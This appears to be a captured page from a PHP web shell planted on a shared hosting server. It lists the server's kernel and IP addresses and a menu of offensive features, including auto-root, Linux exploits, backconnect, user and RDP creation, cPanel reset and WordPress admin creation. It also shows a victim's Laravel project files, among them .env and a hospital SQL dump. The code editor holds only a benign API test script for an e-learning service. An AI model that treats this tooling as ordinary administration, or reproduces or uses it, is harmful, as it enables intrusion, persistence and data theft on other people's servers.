Linux server292.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
LiteSpeed
: 162.0.235.5 | : 216.73.216.33
Cant Read [ /etc/named.conf ]
8.3.25
comfsblg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
comfsblg /
skills-api /
[ HOME SHELL ]
Name
Size
Permission
Action
.git
[ DIR ]
drwxr-xr-x
.well-known
[ DIR ]
drwxr-xr-x
app
[ DIR ]
drwxr-xr-x
bootstrap
[ DIR ]
drwxr-xr-x
cgi-bin
[ DIR ]
drwxr-xr-x
config
[ DIR ]
drwxr-xr-x
database
[ DIR ]
drwxr-xr-x
mobile-app
[ DIR ]
drwxr-xr-x
public
[ DIR ]
drwxr-xr-x
resources
[ DIR ]
drwxr-xr-x
routes
[ DIR ]
drwxr-xr-x
storage
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
vendor
[ DIR ]
drwxr-xr-x
.DS_Store
8
KB
-rw-r--r--
.env
1.5
KB
-rw-r--r--
.gitattributes
66
B
-rw-r--r--
.gitignore
41
B
-rw-r--r--
.htaccess
386
B
-rw-r--r--
8LEARNING_TRANSFORMATION_COMPL...
8.33
KB
-rw-r--r--
BACKEND_COMPLETION_SUMMARY.md
3.47
KB
-rw-r--r--
CHAT_REFACTORING_COMPLETION_RE...
5.99
KB
-rw-r--r--
COURSE_ADMIN_CONTROLLERS_SUMMA...
7.93
KB
-rw-r--r--
COURSE_MODULE_DUMMY_DATA_SUMMA...
6.27
KB
-rw-r--r--
EIGHT_LEARNING_API_TEST_RESULT...
6.92
KB
-rw-r--r--
ENHANCED_LEARNING_SYSTEM_PLAN....
9.62
KB
-rw-r--r--
README.md
31
B
-rw-r--r--
artisan
1.65
KB
-rw-r--r--
composer.json
2.22
KB
-rw-r--r--
composer.lock
395.26
KB
-rw-r--r--
debug_registration.php
0
B
-rw-r--r--
error_log
248
B
-rw-r--r--
generate_course_dummy_data.php
39.75
KB
-rw-r--r--
generate_course_dummy_data_bac...
39.75
KB
-rw-r--r--
generate_uganda_course_dummy_d...
15.63
KB
-rw-r--r--
hospital.sql
383.84
KB
-rw-r--r--
important-commands.txt
468
B
-rw-r--r--
loundry-app-stps.md
672
B
-rw-r--r--
package.json
473
B
-rw-r--r--
phpunit.xml
1.17
KB
-rw-r--r--
quick_auth_test.php
2
KB
-rw-r--r--
server.php
563
B
-rw-r--r--
test_all_api_endpoints.php
33.84
KB
-rw-r--r--
test_blog_api.php
4.24
KB
-rw-r--r--
test_camelcase_endpoint.php
1.08
KB
-rw-r--r--
test_chat_api.php
4.09
KB
-rw-r--r--
test_chat_system.php
3.99
KB
-rw-r--r--
test_company_update.php
1.25
KB
-rw-r--r--
test_contact_api.php
2.48
KB
-rw-r--r--
test_delete_account.php
0
B
-rw-r--r--
test_gdpr.php
2.63
KB
-rw-r--r--
test_gdpr_duplicate_request.ph...
2.58
KB
-rw-r--r--
test_learning_api.php
5.17
KB
-rw-r--r--
test_learning_api_complete.php
9.16
KB
-rw-r--r--
test_learning_endpoints.php
9.62
KB
-rw-r--r--
test_login.php
3.17
KB
-rw-r--r--
test_my_chats.php
2.04
KB
-rw-r--r--
test_registration.php
0
B
-rw-r--r--
test_send_message.php
2.57
KB
-rw-r--r--
update_uganda_courses.php
5.58
KB
-rw-r--r--
webpack.mix.js
559
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : test_learning_api_complete.php
<?php /** * Comprehensive 8Learning API Test Suite * Tests all professional learning endpoints after cleanup */ // Include the Laravel bootstrap require_once __DIR__ . '/vendor/autoload.php'; // Start the Laravel application $app = require_once __DIR__ . '/bootstrap/app.php'; $kernel = $app->make(Illuminate\Contracts\Http\Kernel::class); echo "\n=== 8Learning Professional API Test Suite ===\n\n"; // Test data $testUserId = 1; $testCourseId = 1; $testUnitId = 1; $testMaterialId = 1; $testQuizId = 1; // Create a test user token (you would normally get this through proper authentication) $user = App\Models\User::find($testUserId); if (!$user) { echo "โ Test user not found. Please ensure user ID $testUserId exists.\n"; exit(1); } // Create a personal access token for testing $token = $user->createToken('learning-api-test')->plainTextToken; echo "โ Test authentication token created\n"; // Base URL for API $baseUrl = 'http://localhost/skills-ug-web/api'; // Helper function to make authenticated API requests function makeRequest($method, $endpoint, $data = [], $token = null) { global $baseUrl; $url = $baseUrl . $endpoint; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method); if ($token) { curl_setopt($ch, CURLOPT_HTTPHEADER, [ 'Authorization: Bearer ' . $token, 'Content-Type: application/json', 'Accept: application/json' ]); } if (!empty($data) && in_array($method, ['POST', 'PUT', 'PATCH'])) { curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data)); } $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); return [ 'status_code' => $httpCode, 'body' => json_decode($response, true) ]; } // Test cases $tests = [ [ 'name' => 'Learning Dashboard', 'method' => 'GET', 'endpoint' => '/learning/dashboard', 'expected_status' => 200 ], [ 'name' => 'My Subscriptions', 'method' => 'GET', 'endpoint' => '/learning/my-subscriptions', 'expected_status' => 200 ], [ 'name' => 'My Progress', 'method' => 'GET', 'endpoint' => '/learning/my-progress', 'expected_status' => 200 ], [ 'name' => 'Course Units', 'method' => 'GET', 'endpoint' => "/learning/course-units/$testCourseId", 'expected_status' => 200 ], [ 'name' => 'Course Materials', 'method' => 'GET', 'endpoint' => "/learning/course-materials/$testUnitId", 'expected_status' => 200 ], [ 'name' => 'Course Quizzes', 'method' => 'GET', 'endpoint' => "/learning/course-quizzes/$testUnitId", 'expected_status' => 200 ], [ 'name' => 'Course Progress', 'method' => 'GET', 'endpoint' => "/learning/course-progress/$testCourseId", 'expected_status' => 200 ], [ 'name' => 'Material Content', 'method' => 'GET', 'endpoint' => "/learning/materials/$testMaterialId", 'expected_status' => 200 ], [ 'name' => 'Material Progress', 'method' => 'GET', 'endpoint' => "/learning/material-progress/$testMaterialId", 'expected_status' => 200 ], [ 'name' => 'Course Reviews', 'method' => 'GET', 'endpoint' => "/learning/reviews/$testCourseId", 'expected_status' => 200 ], [ 'name' => 'Quiz Answers', 'method' => 'GET', 'endpoint' => "/learning/quiz-answers/$testQuizId", 'expected_status' => 200 ], [ 'name' => 'Certificates', 'method' => 'GET', 'endpoint' => '/learning/certificates', 'expected_status' => 200 ], [ 'name' => 'Notifications', 'method' => 'GET', 'endpoint' => '/learning/notifications', 'expected_status' => 200 ] ]; // POST request tests $postTests = [ [ 'name' => 'Update Material Progress', 'method' => 'POST', 'endpoint' => '/learning/progress', 'data' => [ 'material_id' => $testMaterialId, 'progress_percentage' => 75.5, 'time_spent_seconds' => 300 ], 'expected_status' => 200 ], [ 'name' => 'Submit Course Review', 'method' => 'POST', 'endpoint' => '/learning/reviews', 'data' => [ 'course_id' => $testCourseId, 'rating' => 5, 'review' => 'Excellent course! Very comprehensive and well structured.', 'recommend' => true ], 'expected_status' => 200 ], [ 'name' => 'Submit Quiz Answer', 'method' => 'POST', 'endpoint' => '/learning/quiz-answers', 'data' => [ 'quiz_id' => $testQuizId, 'answers' => [ ['question_id' => 1, 'answer' => 'A', 'is_correct' => true], ['question_id' => 2, 'answer' => 'B', 'is_correct' => false], ['question_id' => 3, 'answer' => 'C', 'is_correct' => true] ], 'time_taken_seconds' => 180 ], 'expected_status' => 200 ] ]; $passedTests = 0; $totalTests = count($tests) + count($postTests); echo "Running GET endpoint tests...\n\n"; // Run GET tests foreach ($tests as $test) { echo "Testing: {$test['name']}... "; $response = makeRequest($test['method'], $test['endpoint'], [], $token); if ($response['status_code'] == $test['expected_status']) { echo "โ PASSED\n"; $passedTests++; // Show some response data if available if (isset($response['body']['code']) && $response['body']['code'] == 1) { $dataCount = is_array($response['body']['data']) ? count($response['body']['data']) : 1; echo " ๐ Response: {$response['body']['message']} (Data items: $dataCount)\n"; } } else { echo "โ FAILED\n"; echo " Expected status: {$test['expected_status']}, Got: {$response['status_code']}\n"; if (isset($response['body']['message'])) { echo " Message: {$response['body']['message']}\n"; } } echo "\n"; } echo "Running POST endpoint tests...\n\n"; // Run POST tests foreach ($postTests as $test) { echo "Testing: {$test['name']}... "; $response = makeRequest($test['method'], $test['endpoint'], $test['data'], $token); if ($response['status_code'] == $test['expected_status']) { echo "โ PASSED\n"; $passedTests++; if (isset($response['body']['message'])) { echo " ๐ Response: {$response['body']['message']}\n"; } } else { echo "โ FAILED\n"; echo " Expected status: {$test['expected_status']}, Got: {$response['status_code']}\n"; if (isset($response['body']['message'])) { echo " Message: {$response['body']['message']}\n"; } if (isset($response['body']['errors'])) { echo " Errors: " . json_encode($response['body']['errors']) . "\n"; } } echo "\n"; } // Test without authentication (should fail) echo "Testing authentication requirement...\n"; echo "Testing: Dashboard without auth... "; $response = makeRequest('GET', '/learning/dashboard', []); if ($response['status_code'] == 401) { echo "โ PASSED (Correctly rejected unauthorized request)\n"; $passedTests++; $totalTests++; } else { echo "โ FAILED (Should have rejected unauthorized request)\n"; $totalTests++; } echo "\n=== Test Results ===\n"; echo "Passed: $passedTests / $totalTests\n"; echo "Success Rate: " . round(($passedTests / $totalTests) * 100, 2) . "%\n"; if ($passedTests == $totalTests) { echo "\n๐ ALL TESTS PASSED! The 8Learning API is ready for production.\n"; } else { echo "\nโ ๏ธ Some tests failed. Please review the issues above.\n"; } echo "\n=== API Endpoint Summary ===\n"; echo "Professional Learning API Endpoints:\n"; echo "โข Learning Dashboard: GET /api/learning/dashboard\n"; echo "โข My Subscriptions: GET /api/learning/my-subscriptions\n"; echo "โข My Progress: GET /api/learning/my-progress\n"; echo "โข Course Units: GET /api/learning/course-units/{courseId}\n"; echo "โข Course Materials: GET /api/learning/course-materials/{unitId}\n"; echo "โข Course Quizzes: GET /api/learning/course-quizzes/{unitId}\n"; echo "โข Material Progress: POST /api/learning/progress\n"; echo "โข Quiz Submission: POST /api/learning/quiz-answers\n"; echo "โข Course Reviews: POST /api/learning/reviews\n"; echo "โข Certificates: GET /api/learning/certificates\n"; echo "โข Notifications: GET /api/learning/notifications\n"; echo "\nโ All test endpoints removed and replaced with professional APIs\n"; echo "โ Authentication required for all endpoints (auth:sanctum)\n"; echo "โ Consistent response format with proper error handling\n"; echo "โ Ready for corporate production use\n\n"; // Clean up test token $user->tokens()->where('name', 'learning-api-test')->delete(); echo "๐งน Test authentication token cleaned up\n\n"; ?>
Close